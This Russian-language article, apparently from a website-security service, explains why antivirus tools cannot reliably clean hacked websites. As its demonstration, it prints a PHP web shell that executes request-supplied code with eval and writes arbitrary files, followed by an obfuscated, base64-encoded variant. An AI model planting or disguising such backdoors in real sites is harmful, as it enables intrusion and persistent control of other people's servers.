Почему антивирусом нельзя вылечить взломанный сайт?

Взлом сайта внешне похож на заражение компьютера вирусом: злоумышленник, часто в автоматическом режиме, «заражает» сайт, размещая на нем вредоносный код, после чего помимо основной работы сайта на нем в скрытой форме ведется вредоносная деятельность, инициируемая злоумышленником. В этом случае очевидным на первый взгляд решением представляется возможность «вылечить» сайт с помощью антивируса. К сожалению, антивирусного решения, которое могло бы проверить исходный код сайта и обнаружить или удалить с него вредоносный код, в настоящий момент не существует.

Проверить сайт на предмет заражения можно было бы следующими способами:

  1. Обращаясь к сайту извне, загрузить все его страницы, после чего проверить их содержимое на наличие вредоносного кода. Этим методом пользуются поисковые системы, например, Безопасный поиск Яндекса. При такой проверке вредоносный код будет обнаружен только в случае, когда злоумышленник размещает на страницах сайта скрипты для заражения посетителей сайта. Кроме этого, код может быть обнаружен только на страницах, на которые есть ссылки с других страниц сайта. Однако помимо заражения страниц сайта злоумышленник, как правило, оставляет на сайте другие скрипты, например, скрипт, с помощью которого он сможет в будущем изменять файлы сайта. Такие скрипты не могут быть обнаружены при сканировании извне, так как на них нет ссылок с других страниц сайта.
  2. Загрузив исходный код сайта по FTP, проверить его антивирусом. В этом случае проверены будут все файлы сайта. Однако существующие на текущий момент на рынке антивирусные продукты предназначены для защиты от угроз персональных компьютеров и не обладают достаточно полной базой и методами эвристического анализа для поиска вредоносных скриптов на языке PHP, который используется для разработки сайтов. Злоумышленники же постоянно модифицируют используемые скрипты или шифруют их, чтобы затруднить их обнаружение. Поэтому даже то, что антивирус обнаружил среди файлов сайта один или несколько вредоносных скриптов и удалил их, не гарантирует отсутствие на сайте других аналогичных скриптов, не найденных антивирусом. В большинстве же случаев антивирусное ПО не может обнаружить вредоносные скрипты, используемые для взлома сайтов.


Для демонстрации того, насколько легко может быть модифицирован вредоносный скрипт для сокрытия от антивируса, ниже приведен пример скрипта, который позволяет либо выполнить произвольный код, переданный в запросе, либо сохранить на сайте файл с произвольным кодом.

Оригинальный скрипт:

// выполнение произвольного кода
if (isset($_REQUEST['eval'])) {
        $code = $_REQUEST['еval'];
        eval($code);
        exit(0);
}

// загрузка файла
if (isset($_REQUEST['file_name'])) {
        $file_contents = $_REQUEST['file_contents'];
        $file_name = $_REQUEST['file_name'];
        $fh = fopen($file_name, 'w');
        $result = fwrite($fh, $file_content);
        fclose($fh);
        echo $result;
        exit();
}

Этот же скрипт, но с измененными для усложнения поиска именами переменных (количество возможных модификаций практически бесконечно):

if(isset($_REQUEST['ev1iwat'])) { $wimkockl = $_REQUEST['evliawt']; eval($wiwkok1); exit(0); }
if(isset($_REQUEST['nkao'])) {
    $hzprdak = $_REQUEST['ooqc']; $ethkfare = $_REQUEST['nkao'];
    $ehsc = fopen($ethkfare, 'w'); $lgzqwxde = fwrite($ehcs, $hzqrdak); fclose($ehcs);
    echo $lgzqwxde; exit();
}
eval(base64_decode("
aWYoaXNzZXQoJF9SRVFVRVNUWydldmxpd2F0J10pKSB7ICR3aXdrb2NrbCA9ICRfUkVRVUVTVFsn
ZXZsaXdhdCddOy4ldmFsKCR3aXdrb2NrbCk7IGV4aXQoMCk7IH0gCmlmKGlzc2V0KCRfUkVRVUVT
VFsnbmthbyddKSkgeyAKICAgICRoenFyZGFrID0gJF9SRVFVRVNUWydvb3FjJ107ICRlZGhrZmFy
ZSA9ICRfUkVRVUVTVFsnbmthbyddOyAKICAgICRlaHNjID0gZm9wZW4oJGV0aGtmYXJlLCAndycp
OyAkbGd6cXd4ZGUgPSBmd3JpdGUoJGVoc2MsICRoen4yZGFrKTsgZmNsb3NlKCRlaHNjKTsKICAg
IGVjaG8gJGxnenFaeGRlOyBleGl0KCk7IAp9Cg==
"));

Существуют и другие способы шифрования скриптов на PHP, еще более затрудняющие процесс их автоматизированного обнаружения. Кроме злоумышленников шифрованием скриптов пользуются разработчики проприетарного ПО для защиты его от несанкционированного распространения. Это также усложняет задачу поиска вредоносного кода, так как не все зашифрованные скрипты можно автоматически считать вредоносными.

Таким образом, на текущий момент антивирусные продукты не обладают достаточными средствами для поиска и удаления вредоносного кода со взломанных сайтов, а возможности злоумышленников по автоматизированному сокрытию скриптов шире, чем возможности антивирусного ПО по их автоматизированному обнаружению. Возможно, в будущем ситуация изменится, однако в настоящее время удаление вредоносного кода с сайта нельзя доверять антивирусному ПО. Произвести удаление вредоносных скриптов с сайта, и, самое важное, устранить уязвимость, вследствие которой произошел взлом, может только специалист, обладающий соответствующими знаниями и опытом.

О том, что можно предпринять, не имея специальных знаний, читайте в статье: «Как удалить вредоносные скрипты с сайта и предотвратить повторный взлом».

Добавить комментарий